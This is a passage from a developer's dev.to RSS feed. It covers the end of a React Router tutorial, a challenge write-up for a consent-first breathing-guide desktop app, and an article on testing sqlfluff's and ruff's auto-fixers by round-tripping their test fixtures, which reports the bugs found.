      &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;header&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="cm"&gt;/* navigation */&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="n"&gt;header&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
      &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;main&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
        &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;Outlet&lt;/span&gt; &lt;span class="o"&gt;/&amp;gt;&lt;/span&gt;
      &lt;span class="o"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="n"&gt;main&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
      &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;footer&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="cm"&gt;/* footer */&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="n"&gt;footer&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="o"&gt;&amp;lt;/&amp;gt;&lt;/span&gt;
  &lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then nest the four routes inside the Layout route in &lt;code&gt;App.jsx&lt;/code&gt;. The router renders each page's content inside the &lt;code&gt;Outlet&lt;/code&gt;, while the header and footer stay put. Change the header in one place, and it changes on every page.&lt;/p&gt;

&lt;h2&gt;
  
  
  5. Don't forget the 404 page
&lt;/h2&gt;

&lt;p&gt;What happens when a visitor types a URL that doesn't exist? Without handling it, the router renders nothing — a blank page. That's not professional.&lt;/p&gt;

&lt;p&gt;Add a catch-all route with &lt;code&gt;path="*"&lt;/code&gt; pointing to a &lt;code&gt;NotFound&lt;/code&gt; component: a big title saying the page doesn't exist, a short explanation, and a &lt;code&gt;Link&lt;/code&gt; back to Home.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight jsx"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;Route&lt;/span&gt; &lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"*"&lt;/span&gt; &lt;span class="n"&gt;element&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;NotFound&lt;/span&gt; &lt;span class="o"&gt;/&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;/&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Try a wrong URL now: the 404 page appears instead of a blank screen.&lt;/p&gt;

&lt;h2&gt;
  
  
  The result
&lt;/h2&gt;

&lt;p&gt;The site is now a real multi-page website: four pages, instant navigation, a shared layout, and a proper 404 page.&lt;/p&gt;

&lt;p&gt;Your challenge: add the Contact page with a form (name, email, message) that shows a thank-you message when submitted. If you can do that on your own, you're starting to understand how real React websites are built.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;I'm Wahib El Khadiri, a junior full-stack developer from Kénitra, Morocco. I build with React, Node.js and Laravel, contribute to open source, and teach React in Darija on YouTube. Portfolio: &lt;a href="https://wahib-portfolio.netlify.app" rel="noopener noreferrer"&gt;https://wahib-portfolio.netlify.app&lt;/a&gt; — GitHub: &lt;a href="https://github.com/WAHIB-EL-KHADIRI" rel="noopener noreferrer"&gt;https://github.com/WAHIB-EL-KHADIRI&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

</description>
      <category>react</category>
      <category>javascript</category>
      <category>webdev</category>
      <category>tutorial</category>
    </item>
    <item>
      <title>Breath Coach: an honest, consent-first desktop breathing guide on Presage SmartSpectra</title>
      <dc:creator>Wahib EL KHADIRI</dc:creator>
      <pubDate>Sun, 22 Nov 2026 13:38:15 +0000</pubDate>
      <link>https://dev.to/wahib_el_khadiri_0/breath-coach-an-honest-consent-first-desktop-breathing-guide-on-presage-smartspectra-1dg2</link>
      <guid>https://dev.to/wahib_el_khadiri_0/breath-coach-an-honest-consent-first-desktop-breathing-guide-on-presage-smartspectra-1dg2</guid>
      <description>&lt;p&gt;&lt;em&gt;This is a submission for the &lt;a href="https://dev.to/challenges/presage-2026-11-04"&gt;Presage SmartSpectra SDK Challenge&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  What I Built
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Breath Coach&lt;/strong&gt; is a Windows desktop app (Electron + React + TypeScript) that estimates your breathing rate from your laptop camera with Presage SmartSpectra and paces a calm breathing circle around it. It is for relaxation, not a medical device.&lt;/p&gt;

&lt;p&gt;The idea I cared about most is &lt;strong&gt;never over-claiming&lt;/strong&gt;. The screen keeps four things strictly apart:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Measured breathing rate&lt;/strong&gt;: the SDK's average, shown as received. Dashes during warm-up and whenever the reading is stale, invalid or the signal is lost.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Guide rhythm&lt;/strong&gt;: what the circle does (6 to 12 breaths/min, 40% in / 60% out, no hold). It follows the measured rate only if the reading is fresh (10 s or less) and the SDK's confidence is at least 50%; otherwise it holds a labelled default of 6/min.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Signal confidence&lt;/strong&gt;: the SDK's own 0 to 100 value, never invented.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Warm-up progress&lt;/strong&gt;: elapsed time of the 30 s warm-up, not a quality score.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;There is also an explicit &lt;strong&gt;SIMULATED&lt;/strong&gt; mode (no camera, always labelled) so the interface can be explored without a key.&lt;/p&gt;

&lt;h2&gt;
  
  
  Demo
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;I do not have a live-camera demo video, and I want to be upfront about why.&lt;/strong&gt; I built this on the only computer I have (an Intel i7-4510U from 2014, 2 cores, no budget for a newer one). I measured instead of guessing. Presage's own readiness policy (read from the SDK) asks for about 27 fps sustained for 20 s. On a quiet machine a real session ran &lt;strong&gt;152 s at about 25 fps with no error 14&lt;/strong&gt;, and &lt;code&gt;checkDeviceReadiness()&lt;/code&gt; returned "ready". Whenever background load was normal (Windows Update, Defender, an editor) only about 7 to 15 fps reached the SDK and the session ended with the "frame rate stayed too low" error (code 14). So the limit is CPU starvation on my machine, not the SDK or the app. I still did not capture a clean live breathing reading, and I am not claiming one. Details and measurements are in &lt;code&gt;docs/REPORT.md&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The README shows a walkthrough of the real app in its &lt;strong&gt;SIMULATED&lt;/strong&gt; mode. It uses no camera and is &lt;strong&gt;not&lt;/strong&gt; evidence of a real measurement.&lt;/p&gt;

&lt;h2&gt;
  
  
  Code
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Repository: &lt;a href="https://github.com/WAHIB-EL-KHADIRI/breath-coach-presage" rel="noopener noreferrer"&gt;https://github.com/WAHIB-EL-KHADIRI/breath-coach-presage&lt;/a&gt; (MIT for the app source; the SmartSpectra SDK keeps its own licence)&lt;/li&gt;
&lt;li&gt;73 unit tests, an end-to-end run of the real Electron app, CI with CodeQL and a secret scan, and a hardened packaged build (see &lt;code&gt;SECURITY.md&lt;/code&gt;).&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  How to Test (for judges)
&lt;/h2&gt;

&lt;p&gt;The app is ready to run on your own computer. No login is needed.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;See everything in one minute, no camera and no key:&lt;/strong&gt; &lt;code&gt;npm install&lt;/code&gt;, then &lt;code&gt;npm run dev&lt;/code&gt; (Node 20+, Windows x64). Tick the consent box, then choose &lt;strong&gt;"Explore without a camera (simulated)"&lt;/strong&gt;. The mode is always labelled SIMULATED. Use the scenario buttons (Normal, Signal lost, Low confidence, Movement, Connection error) to see how the app handles each state.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Real measurement, with your own Presage key:&lt;/strong&gt; paste the key on the setup screen, sit in good light with face and chest in view, press Start. Use a computer with 4 or more cores and close heavy apps (the SDK needs about 27 fps). Expect dashes for the first 30 s, then the measured rate with its confidence.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;npm test&lt;/code&gt; runs the 73 unit tests.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;I would be very happy if you ran it on a stronger computer than mine, because that is exactly the evidence I could not produce.&lt;/p&gt;

&lt;h2&gt;
  
  
  How It Responds to Human Signals
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Signal used:&lt;/strong&gt; breathing rate (value and confidence), plus the chest respiration trace that drives the live wave.&lt;/p&gt;

&lt;p&gt;I used &lt;code&gt;@smartspectra/node-sdk&lt;/code&gt; 3.5.0 through its official Electron path, requesting &lt;code&gt;breathingMetrics&lt;/code&gt; only with telemetry off. One adapter maps SDK events (&lt;code&gt;processingStatus&lt;/code&gt;, &lt;code&gt;validationStatus&lt;/code&gt;, &lt;code&gt;metrics&lt;/code&gt;, &lt;code&gt;error&lt;/code&gt;, &lt;code&gt;streamAvailable&lt;/code&gt;) to a small &lt;code&gt;MeasurementSource&lt;/code&gt; contract; the simulator implements the same contract. From each packet I take the newest &lt;code&gt;breathing.rate&lt;/code&gt; entry and the trace. Validation codes become plain-language tips ("Too dark", "Chest not visible"), never raw SDK text.&lt;/p&gt;

&lt;p&gt;What I added from real runs on the dev machine: a live &lt;strong&gt;light meter&lt;/strong&gt; from the preview, a hardware &lt;strong&gt;brightness boost&lt;/strong&gt; (raised a very dark preview from luma 23 to 73 without lowering the frame rate) and a &lt;strong&gt;screen light&lt;/strong&gt; frame to help in dim rooms. These fixed "Too dark"; they could not fix a busy CPU.&lt;/p&gt;

&lt;h2&gt;
  
  
  Prize Categories
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Best Thoughtful Real-World Use.&lt;/strong&gt; The need: people who want to slow their breathing for relaxation but have no feedback on whether what the screen says matches reality. The design: consent first, a light meter and plain-language fixes for framing and lighting, failure states that explain the next step, and a measurement that disappears rather than lie. Honest caveat: I did not capture a live reading on my hardware, so please test the real path on your own computer; I am not claiming a live result I do not have.&lt;/p&gt;

&lt;h2&gt;
  
  
  Consent and Data Handling
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Consent:&lt;/strong&gt; an explicit checkbox on the first screen. The camera opens only after you agree and press Start, and is released on Stop, Reset, withdrawing consent, closing the window, any reload or any error. The main process refuses every camera request unless a session is armed. The microphone is never requested.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Storage:&lt;/strong&gt; nothing is recorded; readings and the respiration trace are not saved (a bounded in-memory buffer, cleared at session end). Display preferences and the consent flag stay in local storage. The API key is memory-only unless you choose "Remember", then it is encrypted with the OS (Windows DPAPI); nothing is written if the OS cannot protect it.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Sharing:&lt;/strong&gt; measuring uses Presage's service. &lt;strong&gt;What the measurement itself transmits to Presage is described by Presage and I have not independently verified it&lt;/strong&gt;, so I do not claim that nothing leaves the device. The app makes no other network requests (the renderer is blocked from the network).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Retention and deletion:&lt;/strong&gt; the app retains nothing. You can delete a stored key and withdraw consent in Settings. Presage's own retention follows its policies.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;SDK telemetry:&lt;/strong&gt; disabled (&lt;code&gt;enableTelemetry: false&lt;/code&gt;). Presage documents telemetry as session summaries that never include video frames or measured vitals.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Optional AI services:&lt;/strong&gt; none used.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Not a medical device.&lt;/strong&gt; No diagnosis, treatment or monitoring claims.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Engineering Notes
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Every session has a generation number; late events from a stopped session are dropped.&lt;/li&gt;
&lt;li&gt;The pacer runs on a monotonic clock, changes rhythm only at cycle boundaries, and respects &lt;code&gt;prefers-reduced-motion&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Electron hardening: sandbox, context isolation, a main-process request filter, device permissions denied, fuses on the packaged build.&lt;/li&gt;
&lt;li&gt;Lesson for the next builder: check &lt;code&gt;checkDeviceReadiness()&lt;/code&gt; and the real frames per second reaching the SDK on the target hardware before designing around the SDK.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>devchallenge</category>
      <category>presagechallenge</category>
      <category>electron</category>
      <category>typescript</category>
    </item>
    <item>
      <title>I Round-Tripped 2,249 Test Fixtures Through sqlfluff's Auto-Fixer. Eight Came Back Unparsable.</title>
      <dc:creator>Wahib EL KHADIRI</dc:creator>
      <pubDate>Thu, 10 Sep 2026 18:50:16 +0000</pubDate>
      <link>https://dev.to/wahib_el_khadiri_0/i-round-tripped-2249-test-fixtures-through-sqlfluffs-auto-fixer-eight-came-back-unparsable-45le</link>
      <guid>https://dev.to/wahib_el_khadiri_0/i-round-tripped-2249-test-fixtures-through-sqlfluffs-auto-fixer-eight-came-back-unparsable-45le</guid>
      <description>&lt;p&gt;Auto-fix is the most dangerous feature a linter has. Every other part of the tool only &lt;em&gt;reads&lt;/em&gt; your code. &lt;code&gt;--fix&lt;/code&gt; writes to it, usually across a whole repository, usually in CI, usually without anyone reading the diff.&lt;/p&gt;

&lt;p&gt;So it is worth asking a blunt question: &lt;strong&gt;does the fixer ever produce output the tool itself cannot read back?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;There is a cheap way to find out, and the input you need is already sitting in the repository.&lt;/p&gt;

&lt;h2&gt;
  
  
  The invariant
&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;If a fixture parses cleanly, its &lt;code&gt;fix&lt;/code&gt; output must parse cleanly too.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;That is the whole idea. One line. No fuzzer, no grammar model, no corpus to build.&lt;/p&gt;

&lt;p&gt;It works because a linter's test fixtures are the best adversarial input anyone will ever hand you for free. They were written by the maintainers, deliberately, to sit on the edges of the grammar: every operator, every dialect quirk, every syntax someone once filed a bug about. Nobody could commission a better corpus, and it ships with the source.&lt;/p&gt;

&lt;p&gt;The fixer, meanwhile, has usually never been pointed at all of it at once. Fixtures get used to test the &lt;em&gt;parser&lt;/em&gt;. Running them through the &lt;em&gt;fixer&lt;/em&gt; is a different question, and mostly nobody asked it.&lt;/p&gt;

&lt;h2&gt;
  
  
  The run
&lt;/h2&gt;

&lt;p&gt;sqlfluff, at &lt;code&gt;a54076a&lt;/code&gt;. &lt;strong&gt;2,249 fixtures, 28 dialects, roughly an hour&lt;/strong&gt; single-process.&lt;/p&gt;

&lt;p&gt;For each fixture: parse it. If it parses, fix it, then parse the output. Classify the result:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;CORRUPTION&lt;/strong&gt; — parsed before, does not parse after.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;UNSTABLE&lt;/strong&gt; — fixing twice does not converge.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;FIX_CRASH&lt;/strong&gt; — the fixer threw.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Raw result: &lt;strong&gt;8 CORRUPTION, 31 UNSTABLE.&lt;/strong&gt; Thirty-nine hits.&lt;/p&gt;

&lt;p&gt;Thirty-seven of them were not bugs.&lt;/p&gt;

&lt;h2&gt;
  
  
  Triage is the entire job
&lt;/h2&gt;

&lt;p&gt;Finding 39 things is easy. Knowing which 2 are real is the skill, and getting it wrong in public is how you teach a maintainer to ignore you.&lt;/p&gt;

&lt;h3&gt;
  
  
  UNSTABLE is almost always noise
&lt;/h3&gt;

&lt;p&gt;All 31, in this run. sqlfluff's CLI loops the fixer until output stabilises, so a single pass that has not yet converged is &lt;em&gt;expected behaviour&lt;/em&gt;, not a defect. Reporting those would have been 31 false positives in one issue.&lt;/p&gt;

&lt;p&gt;Nine of my first ten findings on an earlier run were this same noise. The rule I now apply without exception: &lt;strong&gt;UNSTABLE is a hypothesis, never a finding.&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Measure the &lt;em&gt;before&lt;/em&gt; state, not just the after
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;ALTER USER 'jeffrey'@'localhost'&lt;/code&gt; fails to parse after the fix. It also fails to parse &lt;em&gt;before&lt;/em&gt; the fix. That is a gap in the parser, not corruption in the fixer, and the two look identical if you only check the output.&lt;/p&gt;

&lt;p&gt;I nearly folded it into a corruption report. It would have weakened the whole issue: one soft claim is enough to make a maintainer discount the hard ones sitting next to it.&lt;/p&gt;

&lt;h3&gt;
  
  
  The eight collapse into two root causes
&lt;/h3&gt;

&lt;p&gt;Not eight bugs. Two:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;root cause&lt;/th&gt;
&lt;th&gt;fixtures&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Token fusion at a whitespace boundary&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;ansi/arithmetic_a&lt;/code&gt;, &lt;code&gt;sqlite/arithmetric_a&lt;/code&gt;, &lt;code&gt;oracle/multiset_operators&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;RF06 vs &lt;code&gt;'user'@'host'&lt;/code&gt; account specs&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;mysql/create_user&lt;/code&gt;, &lt;code&gt;mysql/grant&lt;/code&gt;, &lt;code&gt;mariadb/create_user&lt;/code&gt;, &lt;code&gt;mariadb/grant&lt;/code&gt;, &lt;code&gt;mariadb/create_view_if_not_exists&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Five fixtures pointing at one rule is not five bugs. Filing it as five would have been noise wearing the costume of thoroughness.&lt;/p&gt;

&lt;h2&gt;
  
  
  Bug one: a whitespace fix that deletes your code
&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Update, 2026-09-14.&lt;/strong&gt; The specific example below no longer reproduces.&lt;br&gt;
sqlfluff fixed the sign-indicator case in&lt;br&gt;
&lt;a href="https://github.com/sqlfluff/sqlfluff/pull/8395" rel="noopener noreferrer"&gt;#8395&lt;/a&gt;, merged 2026-09-05,&lt;br&gt;
after this article was written. On current &lt;code&gt;main&lt;/code&gt;, &lt;code&gt;1 * - - 5&lt;/code&gt; comes back as&lt;br&gt;
&lt;code&gt;1 * - -5&lt;/code&gt; with the spacing preserved and nothing lost.&lt;/p&gt;

&lt;p&gt;It is left in place rather than quietly swapped out, because the run it&lt;br&gt;
describes really did produce it — at commit &lt;code&gt;642e2e4a&lt;/code&gt;, which is what this&lt;br&gt;
article scanned. The &lt;em&gt;general&lt;/em&gt; failure is untouched and still reproduces&lt;br&gt;
today: &lt;code&gt;SELECT 8 | ~ ~ ~4;&lt;/code&gt; becomes &lt;code&gt;SELECT 8 | ~~~4;&lt;/code&gt;, and Oracle's&lt;br&gt;
&lt;code&gt;MULTISET EXCEPT&lt;/code&gt; becomes &lt;code&gt;MULTISETEXCEPT&lt;/code&gt;. Both are below, and both are why&lt;br&gt;
the argument still stands.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;sqlfluff removes whitespace it considers redundant. Sometimes the characters on either side of that whitespace are tokens that fuse into a &lt;em&gt;different&lt;/em&gt; token when they touch.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="c1"&gt;-- in, parses fine&lt;/span&gt;
&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt; &lt;span class="k"&gt;AS&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;99&lt;/span&gt; &lt;span class="k"&gt;AS&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;t&lt;/span&gt;

&lt;span class="c1"&gt;-- out&lt;/span&gt;
&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="mi"&gt;99&lt;/span&gt; &lt;span class="k"&gt;AS&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="c1"&gt;--5 AS a FROM t&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;- -&lt;/code&gt; became &lt;code&gt;--&lt;/code&gt;, which in SQL starts a line comment. Everything after it is now commented out. Note also that the fixer reordered the select targets, pushing the damaged column to the end, where it takes the rest of the line with it.&lt;/p&gt;

&lt;p&gt;That is silent data loss produced by a formatting rule.&lt;/p&gt;

&lt;p&gt;Two details from the corpus made the case much stronger than the &lt;code&gt;--&lt;/code&gt; example alone.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;It is not only comments.&lt;/strong&gt; SQLite fuses &lt;code&gt;4 | ~ ~ ~4&lt;/code&gt; into &lt;code&gt;4 | ~~~4&lt;/code&gt;. A different token, no comment involved. The failure mode is the general one: &lt;em&gt;any&lt;/em&gt; pair of adjacent tokens that lexes differently when joined.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;It is not only operators.&lt;/strong&gt; Oracle fuses two keywords: &lt;code&gt;MULTISET EXCEPT&lt;/code&gt; becomes &lt;code&gt;MULTISETEXCEPT&lt;/code&gt;. And the rule responsible is &lt;strong&gt;LT02, an indentation rule.&lt;/strong&gt; A purely cosmetic concern, destroying meaning.&lt;/p&gt;

&lt;p&gt;That last one is the argument for guarding at the token layer rather than patching rule by rule. A rule that only ever adjusts indentation should not have to know what a token is. The check belongs where fixes are applied.&lt;/p&gt;

&lt;p&gt;Filed as &lt;a href="https://github.com/sqlfluff/sqlfluff/pull/8415" rel="noopener noreferrer"&gt;sqlfluff#8415&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Bug two: the fixer strips quotes that were load-bearing
&lt;/h2&gt;

&lt;p&gt;RF06 removes unnecessary quotes from identifiers. In MySQL and MariaDB, &lt;code&gt;'jeffrey'@'localhost'&lt;/code&gt; is not two quoted identifiers. It is one account specification, and the quotes are part of it.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="c1"&gt;-- in&lt;/span&gt;
&lt;span class="k"&gt;CREATE&lt;/span&gt; &lt;span class="no"&gt;USER&lt;/span&gt; &lt;span class="s1"&gt;'jeffrey'&lt;/span&gt;@&lt;span class="s1"&gt;'localhost'&lt;/span&gt;

&lt;span class="c1"&gt;-- out, which sqlfluff itself cannot parse&lt;/span&gt;
&lt;span class="k"&gt;CREATE&lt;/span&gt; &lt;span class="no"&gt;USER&lt;/span&gt; &lt;span class="n"&gt;jeffrey&lt;/span&gt;@&lt;span class="n"&gt;localhost&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Default config, no &lt;code&gt;.sqlfluff&lt;/code&gt; needed. It also hits &lt;code&gt;GRANT ... TO&lt;/code&gt;, &lt;code&gt;DROP USER&lt;/code&gt;, and &lt;code&gt;DEFINER =&lt;/code&gt; clauses.&lt;/p&gt;

&lt;p&gt;Filed as &lt;a href="https://github.com/sqlfluff/sqlfluff/issues/8462" rel="noopener noreferrer"&gt;sqlfluff#8462&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  The check that found nothing
&lt;/h2&gt;

&lt;p&gt;A clean re-parse does not mean the output is safe. &lt;code&gt;1 * --5&lt;/code&gt; parses perfectly. It just means something else now. So I added a second check, for output that parses but has lost meaning.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;My first design was wrong.&lt;/strong&gt; Compare all code tokens before and after, and it fires on every legitimate fix: added commas, capitalised keywords, removed parentheses. The signal drowns under correct behaviour.&lt;/p&gt;

&lt;p&gt;The invariant that works is much narrower:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;A fix never introduces a comment.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Nothing sqlfluff legitimately does creates a comment, so a new one after fixing means source text was swallowed. I validated it in both directions before trusting it: it fires on the &lt;code&gt;1 * - - 5&lt;/code&gt; case, and stays silent on three benign fixes.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Result across the whole corpus: zero.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;That is an honest negative, and I am including it on purpose. The check covers a region the parse test cannot see, and that region turned out to be clean. A methodology piece that only reports the checks that hit is a sales pitch, not a method.&lt;/p&gt;

&lt;h2&gt;
  
  
  Two things that cost me time
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Extracted statements lie.&lt;/strong&gt; Pull a statement out of a fixture to build a minimal repro and it may not parse standalone even though the whole file does. My first &lt;code&gt;CREATE VIEW&lt;/code&gt; repro was a bad extraction, not a bug. Run the real fixture, then minimise, then re-verify against the real fixture again.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Redirect, do not pipe.&lt;/strong&gt; Piping an hour-long run through &lt;code&gt;tail&lt;/code&gt; buffers until EOF. You watch nothing happen for sixty minutes. Write to a file.&lt;/p&gt;

&lt;h2&gt;
  
  
  This generalises
&lt;/h2&gt;

&lt;p&gt;Nothing above is specific to SQL. The requirements are only:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The tool has an auto-fix mode.&lt;/li&gt;
&lt;li&gt;The tool can validate its own output.&lt;/li&gt;
&lt;li&gt;The project ships a fixture corpus.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;That describes ruff, prettier, rustfmt, black, ESLint, gofmt, and most of the formatting layer our industry now runs unattended in CI.&lt;/p&gt;

&lt;p&gt;The invariant is one line. The corpus is already in the repository. The expensive part is not the scan. It is the discipline to throw away 37 of your 39 findings before you tell anyone about the other 2.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Both issues above are open against sqlfluff, a SQL linter with roughly 9k stars that a great many teams run with &lt;code&gt;--fix&lt;/code&gt; in CI.&lt;/em&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Update, one day later: I pointed it at ruff
&lt;/h2&gt;

&lt;p&gt;The section above claims this generalises. It seemed only fair to test that rather than assert it, so I wrote the adapter and ran it against &lt;a href="https://github.com/astral-sh/ruff" rel="noopener noreferrer"&gt;ruff&lt;/a&gt; — 1,607 fixtures under &lt;code&gt;crates/ruff_linter/resources/test/fixtures&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;One improvement fell out of the port, and it is worth stealing if you try this. &lt;strong&gt;The oracle no longer has to be the tool under test.&lt;/strong&gt; With sqlfluff I had to ask sqlfluff whether it could read its own output, so in principle a lexer bug could have hidden itself. For Python the judge is &lt;code&gt;ast.parse&lt;/code&gt; — the reference implementation of the language, which has no stake in ruff being correct.&lt;/p&gt;

&lt;p&gt;I also ran it with &lt;code&gt;--select ALL --fix --unsafe-fixes&lt;/code&gt;, deliberately. Ruff's contract for an unsafe fix is that it &lt;em&gt;may change the meaning&lt;/em&gt; of your code. It is nowhere promised that it may produce code that is not Python.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Result: nothing. Zero corruption, zero crashes, zero non-convergence, across all 1,607 fixtures.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;That is the whole finding, and I am reporting it because a methodology piece that only publishes its hits is a sales pitch. Ruff's fixer did not put a foot wrong on the most adversarial input its own repository contains.&lt;/p&gt;

&lt;h3&gt;
  
  
  One more thing, from the sqlfluff run
&lt;/h3&gt;

&lt;p&gt;Re-running the original scan surfaced something the scanner had been throwing away. Current sqlfluff &lt;code&gt;main&lt;/code&gt; prints this, forty times across the corpus:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Fixes for RF06 not applied, as it would result in an unparsable file.
Please report this as a bug with a minimal query which demonstrates this warning.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



